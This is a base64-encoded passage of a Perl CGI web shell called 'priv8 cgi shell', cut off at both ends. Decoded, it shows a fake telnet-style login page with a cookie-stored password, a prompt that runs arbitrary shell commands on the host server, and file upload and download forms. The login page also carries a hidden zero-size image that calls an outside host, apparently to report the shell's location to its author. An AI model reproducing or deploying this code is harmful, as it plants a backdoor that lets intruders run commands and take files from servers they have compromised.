bmcgZ2VuZXJhdGVkLg0KDQojIERPTidUIENIQU5HRSBBTllUSElORyBCRUxPVyBUSElTIExJTkUg
VU5MRVNTIFlPVSBLTk9XIFdIQVQgWU9VJ1JFIERPSU5HICEhDQoNCiRDbWRTZXAgPSAoJFdpbk5U
ID8gJE5UQ21kU2VwIDogJFVuaXhDbWRTZXApOw0KJENtZFB3ZCA9ICgkV2luTlQgPyAiY2QiIDog
InB3ZCIpOw0KJFBhdGhTZXAgPSAoJFdpbk5UID8gIlxcIiA6ICIvIik7DQokUmVkaXJlY3RvciA9
ICgkV2luTlQgPyAiIDI+JjEgMT4mMiIgOiAiIDE+JjEgMj4mMSIpOw0KDQojLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tDQojIFJlYWRzIHRoZSBpbnB1dCBzZW50IGJ5IHRoZSBicm93c2VyIGFuZCBwYXJz
ZXMgdGhlIGlucHV0IHZhcmlhYmxlcy4gSXQNCiMgcGFyc2VzIEdFVCwgUE9TVCBhbmQgbXVsdGlw
YXJ0L2Zvcm0tZGF0YSB0aGF0IGlzIHVzZWQgZm9yIHVwbG9hZGluZyBmaWxlcy4NCiMgVGhlIGZp
bGVuYW1lIGlzIHN0b3JlZCBpbiAkaW57J2YnfSBhbmQgdGhlIGRhdGEgaXMgc3RvcmVkIGluICRp
bnsnZmlsZWRhdGEnfS4NCiMgT3RoZXIgdmFyaWFibGVzIGNhbiBiZSBhY2Nlc3NlZCB1c2luZyAk
aW57J3Zhcid9LCB3aGVyZSB2YXIgaXMgdGhlIG5hbWUgb2YNCiMgdGhlIHZhcmlhYmxlLiBOb3Rl
OiBNb3N0IG9mIHRoZSBjb2RlIGluIHRoaXMgZnVuY3Rpb24gaXMgdGFrZW4gZnJvbSBvdGhlciBD
R0kNCiMgc2NyaXB0cy4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBSZWFkUGFyc2UgDQp7
DQoJbG9jYWwgKCppbikgPSBAXyBpZiBAXzsNCglsb2NhbCAoJGksICRsb2MsICRrZXksICR2YWwp
Ow0KCQ0KCSRNdWx0aXBhcnRGb3JtRGF0YSA9ICRFTlZ7J0NPTlRFTlRfVFlQRSd9ID1+IC9tdWx0
aXBhcnRcL2Zvcm0tZGF0YTsgYm91bmRhcnk9KC4rKSQvOw0KDQoJaWYoJEVOVnsnUkVRVUVTVF9N
RVRIT0QnfSBlcSAiR0VUIikNCgl7DQoJCSRpbiA9ICRFTlZ7J1FVRVJZX1NUUklORyd9Ow0KCX0N
CgllbHNpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJQT1NUIikNCgl7DQoJCWJpbm1vZGUo
U1RESU4pIGlmICRNdWx0aXBhcnRGb3JtRGF0YSAmICRXaW5OVDsNCgkJcmVhZChTVERJTiwgJGlu
LCAkRU5WeydDT05URU5UX0xFTkdUSCd9KTsNCgl9DQoNCgkjIGhhbmRsZSBmaWxlIHVwbG9hZCBk
YXRhDQoJaWYoJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBi
b3VuZGFyeT0oLispJC8pDQoJew0KCQkkQm91bmRhcnkgPSAnLS0nLiQxOyAjIHBsZWFzZSByZWZl
ciB0byBSRkMxODY3IA0KCQlAbGlzdCA9IHNwbGl0KC8kQm91bmRhcnkvLCAkaW4pOyANCgkJJEhl
YWRlckJvZHkgPSAkbGlzdFsxXTsNCgkJJEhlYWRlckJvZHkgPX4gL1xyXG5cclxufFxuXG4vOw0K
CQkkSGVhZGVyID0gJGA7DQoJCSRCb2R5ID0gJCc7DQogCQkkQm9keSA9fiBzL1xyXG4kLy87ICMg
dGhlIGxhc3QgXHJcbiB3YXMgcHV0IGluIGJ5IE5ldHNjYXBlDQoJCSRpbnsnZmlsZWRhdGEnfSA9
ICRCb2R5Ow0KCQkkSGVhZGVyID1+IC9maWxlbmFtZT1cIiguKylcIi87IA0KCQkkaW57J2YnfSA9
ICQxOyANCgkJJGlueydmJ30gPX4gcy9cIi8vZzsNCgkJJGlueydmJ30gPX4gcy9ccy8vZzsNCg0K
CQkjIHBhcnNlIHRyYWlsZXINCgkJZm9yKCRpPTI7ICRsaXN0WyRpXTsgJGkrKykNCgkJeyANCgkJ
CSRsaXN0WyRpXSA9fiBzL14uK25hbWU9JC8vOw0KCQkJJGxpc3RbJGldID1+IC9cIihcdyspXCIv
Ow0KCQkJJGtleSA9ICQxOw0KCQkJJHZhbCA9ICQnOw0KCQkJJHZhbCA9fiBzLyheKFxyXG5cclxu
fFxuXG4pKXwoXHJcbiR8XG4kKS8vZzsNCgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4
KCQxKSkvZ2U7DQoJCQkkaW57JGtleX0gPSAkdmFsOyANCgkJfQ0KCX0NCgllbHNlICMgc3RhbmRh
cmQgcG9zdCBkYXRhICh1cmwgZW5jb2RlZCwgbm90IG11bHRpcGFydCkNCgl7DQoJCUBpbiA9IHNw
bGl0KC8mLywgJGluKTsNCgkJZm9yZWFjaCAkaSAoMCAuLiAkI2luKQ0KCQl7DQoJCQkkaW5bJGld
ID1+IHMvXCsvIC9nOw0KCQkJKCRrZXksICR2YWwpID0gc3BsaXQoLz0vLCAkaW5bJGldLCAyKTsN
CgkJCSRrZXkgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7DQoJCQkkdmFsID1+IHMv
JSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOw0KCQkJJGlueyRrZXl9IC49ICJcMCIgaWYgKGRl
ZmluZWQoJGlueyRrZXl9KSk7DQoJCQkkaW57JGtleX0gLj0gJHZhbDsNCgkJfQ0KCX0NCn0NCg0K
Iy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgUGFnZSBIZWFkZXINCiMg
QXJndW1lbnQgMTogRm9ybSBpdGVtIG5hbWUgdG8gd2hpY2ggZm9jdXMgc2hvdWxkIGJlIHNldA0K
Iy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50UGFnZUhlYWRlcg0Kew0KCSRFbmNvZGVk
Q3VycmVudERpciA9ICRDdXJyZW50RGlyOw0KCSRFbmNvZGVkQ3VycmVudERpciA9fiBzLyhbXmEt
ekEtWjAtOV0pLyclJy51bnBhY2soIkgqIiwkMSkvZWc7DQoJcHJpbnQgIkNvbnRlbnQtdHlwZTog
dGV4dC9odG1sXG5cbiI7DQoJcHJpbnQgPDxFTkQ7DQo8aHRtbD4NCjxoZWFkPg0KPHRpdGxlPnBy
aXY4IGNnaSBzaGVsbDwvdGl0bGU+DQokSHRtbE1ldGFIZWFkZXINCg0KPG1ldGEgbmFtZT0ia2V5
d29yZHMiIGNvbnRlbnQ9InByaXY4IGNnaSBzaGVsbCAgXyAgICAgaTVfQGhvdG1haWwuY29tIj4N
CjxtZXRhIG5hbWU9ImRlc2NyaXB0aW9uIiBjb250ZW50PSJwcml2OCBjZ2kgc2hlbGwgIF8gICAg
aTVfQGhvdG1haWwuY29tIj4NCjwvaGVhZD4NCjxib2R5IG9uTG9hZD0iZG9jdW1lbnQuZi5AXy5m
b2N1cygpIiBiZ2NvbG9yPSIjRkZGRkZGIiB0b3BtYXJnaW49IjAiIGxlZnRtYXJnaW49IjAiIG1h
cmdpbndpZHRoPSIwIiBtYXJnaW5oZWlnaHQ9IjAiIHRleHQ9IiNGRjAwMDAiPg0KPHRhYmxlIGJv
cmRlcj0iMSIgd2lkdGg9IjEwMCUiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMiI+DQo8
dHI+DQo8dGQgYmdjb2xvcj0iI0ZGRkZGRiIgYm9yZGVyY29sb3I9IiNGRkZGRkYiIGFsaWduPSJj
ZW50ZXIiIHdpZHRoPSIxJSI+DQo8Yj48Zm9udCBzaXplPSIyIj4jPC9mb250PjwvYj48L3RkPg0K
PHRkIGJnY29sb3I9IiNGRkZGRkYiIHdpZHRoPSI5OCUiPjxmb250IGZhY2U9IlZlcmRhbmEiIHNp
emU9IjIiPjxiPiANCjxiIHN0eWxlPSJjb2xvcjpibGFjaztiYWNrZ3JvdW5kLWNvbG9yOiNmZmZm
NjYiPnByaXY4IGNnaSBzaGVsbDwvYj4gQ29ubmVjdGVkIHRvICRTZXJ2ZXJOYW1lPC9iPjwvZm9u
dD48L3RkPg0KPC90cj4NCjx0cj4NCjx0ZCBjb2xzcGFuPSIyIiBiZ2NvbG9yPSIjRkZGRkZGIj48
Zm9udCBmYWNlPSJWZXJkYW5hIiBzaXplPSIyIj4NCg0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9u
P2E9dXBsb2FkJmQ9JEVuY29kZWRDdXJyZW50RGlyIj48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+VXBs
b2FkIEZpbGU8L2ZvbnQ+PC9hPiB8IA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxv
YWQmZD0kRW5jb2RlZEN1cnJlbnREaXIiPjxmb250IGNvbG9yPSIjRkYwMDAwIj5Eb3dubG9hZCBG
aWxlPC9mb250PjwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9bG9nb3V0Ij48Zm9u
dCBjb2xvcj0iI0ZGMDAwMCI+RGlzY29ubmVjdDwvZm9udD48L2E+IHwNCjwvZm9udD48L3RkPg0K
PC90cj4NCjwvdGFibGU+DQo8Zm9udCBzaXplPSIzIj4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tDQojIFByaW50cyB0aGUgTG9naW4gU2NyZWVuDQojLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tDQpzdWIgUHJpbnRMb2dpblNjcmVlbg0Kew0KCSRNZXNzYWdlID0gcSQ8L2ZvbnQ+PGgxPnBh
c3M9cHJpdjg8L2gxPjxmb250IGNvbG9yPSIjMDA5OTAwIiBzaXplPSIzIj48cHJlPjxpbWcgYm9y
ZGVyPSIwIiBzcmM9Imh0dHA6Ly93d3cucHJpdjguaWJsb2dnZXIub3JnL3MucGhwPytjZ2l0ZWxu
ZXQgc2hlbGwiIHdpZHRoPSIwIiBoZWlnaHQ9IjAiPjwvcHJlPg0KJDsNCiMnDQoJcHJpbnQgPDxF
TkQ7DQo8Y29kZT4NCg0KVHJ5aW5nICRTZXJ2ZXJOYW1lLi4uPGJyPg0KQ29ubmVjdGVkIHRvICRT
ZXJ2ZXJOYW1lPGJyPg0KRXNjYXBlIGNoYXJhY3RlciBpcyBeXQ0KPGNvZGU+JE1lc3NhZ2UNCkVO
RA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgbWVzc2FnZSB0aGF0
IGluZm9ybXMgdGhlIHVzZXIgb2YgYSBmYWlsZWQgbG9naW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0NCnN1YiBQcmludExvZ2luRmFpbGVkTWVzc2FnZQ0Kew0KCXByaW50IDw8RU5EOw0KPGNvZGU+
DQo8YnI+bG9naW46IGFkbWluPGJyPg0KcGFzc3dvcmQ6PGJyPg0KTG9naW4gaW5jb3JyZWN0PGJy
Pjxicj4NCjwvY29kZT4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50
cyB0aGUgSFRNTCBmb3JtIGZvciBsb2dnaW5nIGluDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpz
dWIgUHJpbnRMb2dpbkZvcm0NCnsNCglwcmludCA8PEVORDsNCjxjb2RlPg0KDQo8Zm9ybSBuYW1l
PSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCjxpbnB1dCB0eXBl
PSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJsb2dpbiI+DQo8L2ZvbnQ+DQo8Zm9udCBzaXplPSIz
Ij4NCmxvZ2luOiA8YiBzdHlsZT0iY29sb3I6YmxhY2s7YmFja2dyb3VuZC1jb2xvcjojZmZmZjY2
Ij5wcml2OCBjZ2kgc2hlbGw8L2I+PGJyPg0KcGFzc3dvcmQ6PC9mb250Pjxmb250IGNvbG9yPSIj
MDA5OTAwIiBzaXplPSIzIj48aW5wdXQgdHlwZT0icGFzc3dvcmQiIG5hbWU9InAiPg0KPGlucHV0
IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4NCjwvZm9ybT4NCjwvY29kZT4NCkVORA0KfQ0K
DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgZm9vdGVyIGZvciB0aGUgSFRN
TCBQYWdlDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRQYWdlRm9vdGVyDQp7DQoJ
cHJpbnQgIjwvZm9udD48L2JvZHk+PC9odG1sPiI7DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0NCiMgUmV0cmVpdmVzIHRoZSB2YWx1ZXMgb2YgYWxsIGNvb2tpZXMuIFRoZSBjb29raWVzIGNh
biBiZSBhY2Nlc3NlcyB1c2luZyB0aGUNCiMgdmFyaWFibGUgJENvb2tpZXN7Jyd9DQojLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tDQpzdWIgR2V0Q29va2llcw0Kew0KCUBodHRwY29va2llcyA9IHNwbGl0
KC87IC8sJEVOVnsnSFRUUF9DT09LSUUnfSk7DQoJZm9yZWFjaCAkY29va2llKEBodHRwY29va2ll
cykNCgl7DQoJCSgkaWQsICR2YWwpID0gc3BsaXQoLz0vLCAkY29va2llKTsNCgkJJENvb2tpZXN7
JGlkfSA9ICR2YWw7DQoJfQ0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0
aGUgc2NyZWVuIHdoZW4gdGhlIHVzZXIgbG9ncyBvdXQNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0N
CnN1YiBQcmludExvZ291dFNjcmVlbg0Kew0KCXByaW50ICI8Y29kZT5Db25uZWN0aW9uIGNsb3Nl
ZCBieSBmb3JlaWduIGhvc3QuPGJyPjxicj48L2NvZGU+IjsNCn0NCg0KIy0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLQ0KIyBMb2dzIG91dCB0aGUgdXNlciBhbmQgYWxsb3dzIHRoZSB1c2VyIHRvIGxvZ2lu
IGFnYWluDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUGVyZm9ybUxvZ291dA0Kew0KCXBy
aW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD07XG4iOyAjIHJlbW92ZSBwYXNzd29yZCBjb29raWUN
CgkmUHJpbnRQYWdlSGVhZGVyKCJwIik7DQoJJlByaW50TG9nb3V0U2NyZWVuOw0KDQoJJlByaW50
TG9naW5TY3JlZW47DQoJJlByaW50TG9naW5Gb3JtOw0KCSZQcmludFBhZ2VGb290ZXI7DQp9DQoN
CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gbG9n
aW4gdGhlIHVzZXIuIElmIHRoZSBwYXNzd29yZCBtYXRjaGVzLCBpdA0KIyBkaXNwbGF5cyBhIHBh
Z2UgdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gcnVuIGNvbW1hbmRzLiBJZiB0aGUgcGFzc3dvcmQg
ZG9lbnMndA0KIyBtYXRjaCBvciBpZiBubyBwYXNzd29yZCBpcyBlbnRlcmVkLCBpdCBkaXNwbGF5
cyBhIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXINCiMgdG8gbG9naW4NCiMtLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0NCnN1YiBQZXJmb3JtTG9naW4gDQp7DQoJaWYoJExvZ2luUGFzc3dvcmQgZXEgJFBh
c3N3b3JkKSAjIHBhc3N3b3JkIG1hdGNoZWQNCgl7DQoJCXByaW50ICJTZXQtQ29va2llOiBTQVZF
RFBXRD0kTG9naW5QYXNzd29yZDtcbiI7DQoJCSZQcmludFBhZ2VIZWFkZXIoImMiKTsNCgkJJlBy
aW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoJCSZQcmludFBhZ2VGb290ZXI7DQoJfQ0KCWVsc2Ug
IyBwYXNzd29yZCBkaWRuJ3QgbWF0Y2gNCgl7DQoJCSZQcmludFBhZ2VIZWFkZXIoInAiKTsNCgkJ
JlByaW50TG9naW5TY3JlZW47DQoJCWlmKCRMb2dpblBhc3N3b3JkIG5lICIiKSAjIHNvbWUgcGFz
c3dvcmQgd2FzIGVudGVyZWQNCgkJew0KCQkJJlByaW50TG9naW5GYWlsZWRNZXNzYWdlOw0KDQoJ
CX0NCgkJJlByaW50TG9naW5Gb3JtOw0KCQkmUHJpbnRQYWdlRm9vdGVyOw0KCX0NCn0NCg0KIy0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0
aGUgdXNlciB0byBlbnRlciBjb21tYW5kcw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFBy
aW50Q29tbWFuZExpbmVJbnB1dEZvcm0NCnsNCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRDdXJyZW50
RGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJEN1cnJlbnREaXJdXCQgIjsNCglwcmludCA8
PEVORDsNCjxjb2RlPg0KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3Jp
cHRMb2NhdGlvbiI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFu
ZCI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPg0K
JFByb21wdA0KPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImMiPg0KPGlucHV0IHR5cGU9InN1Ym1p
dCIgdmFsdWU9IkVudGVyIj4NCjwvZm9ybT4NCjwvY29kZT4NCg0KRU5EDQp9DQoNCiMtLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVz
ZXIgdG8gZG93bmxvYWQgZmlsZXMNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludEZp
bGVEb3dubG9hZEZvcm0NCnsNCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRDdXJyZW50RGlyPiAiIDog
IlthZG1pblxAJFNlcnZlck5hbWUgJEN1cnJlbnREaXJdXCQgIjsNCglwcmludCA8PEVORDsNCjxj
b2RlPg0KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlv
biI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPg0K
PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImRvd25sb2FkIj4NCiRQcm9tcHQg
ZG93bmxvYWQ8YnI+PGJyPg0KRmlsZW5hbWU6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJmIiBz
aXplPSIzNSI+PGJyPjxicj4NCkRvd25sb2FkOiA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0i
QmVnaW4iPg0KPC9mb3JtPg0KPC9jb2RlPg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0NCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gdXBsb2Fk
IGZpbGVzDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRGaWxlVXBsb2FkRm9ybQ0K
ew0KCSRQcm9tcHQgPSAkV2luTlQgPyAiJEN1cnJlbnREaXI+ICIgOiAiW2FkbWluXEAkU2VydmVy
TmFtZSAkQ3VycmVudERpcl1cJCAiOw0KCXByaW50IDw8RU5EOw0KPGNvZGU+DQoNCjxmb3JtIG5h
bWU9ImYiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG1ldGhvZD0iUE9TVCIgYWN0aW9u
PSIkU2NyaXB0TG9jYXRpb24iPg0KJFByb21wdCB1cGxvYWQ8YnI+PGJyPg0KRmlsZW5hbWU6IDxp
bnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4NCk9wdGlvbnM6ICZu
YnNwOzxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ibyIgdmFsdWU9Im92ZXJ3cml0ZSI+DQpP
dmVyd3JpdGUgaWYgaXQgRXhpc3RzPGJyPjxicj4NClVwbG9hZDombmJzcDsmbmJzcDsmbmJzcDs8
aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIg
bmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9
ImEiIHZhbHVlPSJ1cGxvYWQiPg0KPC9mb3JtPg0KPC9jb2RlPg0KRU5EDQp9DQoNCiMtLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdGltZW91
dCBmb3IgYSBjb21tYW5kIGV4cGlyZXMuIFdlIG5lZWQgdG8NCiMgdGVybWluYXRlIHRoZSBzY3Jp
cHQgaW1tZWRpYXRlbHkuIFRoaXMgZnVuY3Rpb24gaXMgdmFsaWQgb25seSBvbiBVbml4LiBJdCBp
cw0KIyBuZXZlciBjYWxsZWQgd2hlbiB0aGUgc2NyaXB0IGlzIHJ1bm5pbmcgb24gTlQuDQojLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQ29tbWFuZFRpbWVvdXQNCnsNCglpZighJFdpbk5UKQ0K
CXsNCgkJYWxhcm0oMCk7DQoJCXByaW50IDw8RU5EOw0KPC94bXA+DQoNCjxjb2RlPg0KQ29tbWFu
ZCBleGNlZWRlZCBtYXhpbXVtIHRpbWUgb2YgJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gc2Vjb25k
KHMpLg0KPGJyPktpbGxlZCBpdCENCkVORA0KCQkmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsN
CgkJJlByaW50UGFnZUZvb3RlcjsNCgkJZXhpdDsNCgl9DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gZXhlY3V0ZSBjb21tYW5kcy4gSXQg
ZGlzcGxheXMgdGhlIG91dHB1dCBvZiB0aGUNCiMgY29tbWFuZCBhbmQgYWxsb3dzIHRoZSB1c2Vy
IHRvIGVudGVyIGFub3RoZXIgY29tbWFuZC4gVGhlIGNoYW5nZSBkaXJlY3RvcnkNCiMgY29tbWFu
ZCBpcyBoYW5kbGVkIGRpZmZlcmVudGx5LiBJbiB0aGlzIGNhc2UsIHRoZSBuZXcgZGlyZWN0b3J5
IGlzIHN0b3JlZCBpbg0KIyBhbiBpbnRlcm5hbCB2YXJpYWJsZSBhbmQgaXMgdXNlZCBlYWNoIHRp
bWUgYSBjb21tYW5kIGhhcyB0byBiZSBleGVjdXRlZC4gVGhlDQojIG91dHB1dCBvZiB0aGUgY2hh
bmdlIGRpcmVjdG9yeSBjb21tYW5kIGlzIG5vdCBkaXNwbGF5ZWQgdG8gdGhlIHVzZXJzDQojIHRo
ZXJlZm9yZSBlcnJvciBtZXNzYWdlcyBjYW5ub3QgYmUgZGlzcGxheWVkLg0KIy0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLQ0Kc3ViIEV4ZWN1dGVDb21tYW5kDQp7DQoJaWYoJFJ1bkNvbW1hbmQgPX4gbS9e
XHMqY2RccysoLispLykgIyBpdCBpcyBhIGNoYW5nZSBkaXIgY29tbWFuZA0KCXsNCgkJIyB3ZSBj
aGFuZ2UgdGhlIGRpcmVjdG9yeSBpbnRlcm5hbGx5LiBUaGUgb3V0cHV0IG9mIHRoZQ0KCQkjIGNv
bW1hbmQgaXMgbm90IGRpc3BsYXllZC4NCgkJDQoJCSRPbGREaXIgPSAkQ3VycmVudERpcjsNCgkJ
JENvbW1hbmQgPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiJjZCAkMSIuJENtZFNlcC4k
Q21kUHdkOw0KCQljaG9wKCRDdXJyZW50RGlyID0gYCRDb21tYW5kYCk7DQoJCSZQcmludFBhZ2VI
ZWFkZXIoImMiKTsNCgkJJFByb21wdCA9ICRXaW5OVCA/ICIkT2xkRGlyPiAiIDogIlthZG1pblxA
